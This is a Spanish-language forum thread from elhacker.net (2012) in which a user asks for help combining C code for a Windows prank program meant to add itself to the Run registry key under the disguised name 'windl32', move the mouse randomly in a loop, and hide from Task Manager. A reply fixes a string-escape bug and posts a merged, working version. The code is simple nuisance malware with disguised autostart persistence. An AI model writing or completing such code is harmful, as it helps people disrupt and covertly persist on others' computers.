Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Netflash en 18 Septiembre 2012, 19:50 pm



Título: Problema con Dev C++
Publicado por: Netflash en 18 Septiembre 2012, 19:50 pm
Estoy creando un programa en Dev C++ que tienes estas funciones pero hay un problema  :-\,

- Que se agregue al registro
  
-  Mueva el raton aleatoriamente

- Ocultarse del administrador de tareas

- i otras funciones que tengo

De momento tengo el codigo de agregarse al registro:


Citar
#include <windows.h>

int main()
{
HKEY hkey;
RegOpenKeyEx
(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"windl32",0,REG_SZ,(const unsigned char*)"I:\windl32.exe",sizeof"I:\windl32.exe");        
RegCloseKey(hkey);
}
 

Y el de mover la rata

Citar
#include <windows.h>

int main()
{
    FreeConsole();
    srand(GetTickCount());



    int nWidth  = GetSystemMetrics(SM_CXSCREEN) - 1;
    int nHeight = GetSystemMetrics(SM_CYSCREEN) - 1;


    
        while(!GetAsyncKeyState(VK_F8)){
        SetCursorPos((rand() % nWidth) + 1, (rand() % nHeight) + 1);
        Sleep(5);


    }
    return 0;


}



Al momento de juntar estas dos funciones pues me tira un error de compilación, ya llevo varios dias buscando y no logro encontrar esta solucion....



Título: Re: Problema con Dev C++
Publicado por: ankora45 en 18 Septiembre 2012, 20:07 pm
Sinceramente creo que estan bien pero si utilizas dev-c++ pasate a code::blocks ya que usa un compilador diferente perop no me hagas muxo caso


Título: Re: Problema con Dev C++
Publicado por: 0xDani en 18 Septiembre 2012, 20:40 pm
Sinceramente creo que estan bien pero si utilizas dev-c++ pasate a code::blocks ya que usa un compilador diferente perop no me hagas muxo caso

El dev-c++ usa el compilador de borland, y el code::blocks el mingw, que es una adaptacion del gcc a windows, segun tengo entendido. Eso por defecto claro, supongo que ambos se pueden configurar. En cuanto a la pregunta del tema, yo no la voy a responder porque no entiendo de la API de windows, pero te aconsejo que pongas la salida del compilador, asi seguramente te contestara mas gente.

Saludos.

PD: Dev-c++ es un proyecto abandonado.


Título: Re: Problema con Dev C++
Publicado por: SokarTefnut en 20 Septiembre 2012, 11:18 am
Acabo de incluirlo en un archivo,compilarlo y ejecutarlo, funciona, aunque habia un error.
Compilando con GCC :

ERROR: Aviso; secuencia de escape desconocida '\w' en la linea 61

el problema estaba en que en el programa original estas usando I:\windl32.exe, y hay que
utilizar la doble barra I:\\windl32.exe





#include <windows.h>

int main()
{
    RegFuncion();
   SaltaRaton();
}

RegFuncion(void)
{
HKEY hkey;
RegOpenKeyEx
(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"windl32",0,REG_SZ,(const unsigned char*)"I:\\windl32.exe",sizeof"I:\\windl32.exe");       
RegCloseKey(hkey);
return;
}

SaltaRaton(void)
{
 FreeConsole();
 srand(GetTickCount());
    int nWidth  = GetSystemMetrics(SM_CXSCREEN) - 1;
    int nHeight = GetSystemMetrics(SM_CYSCREEN) - 1;
   
        while(!GetAsyncKeyState(VK_F8)){
        SetCursorPos((rand() % nWidth) + 1, (rand() % nHeight) + 1);
        Sleep(5);

    }
   }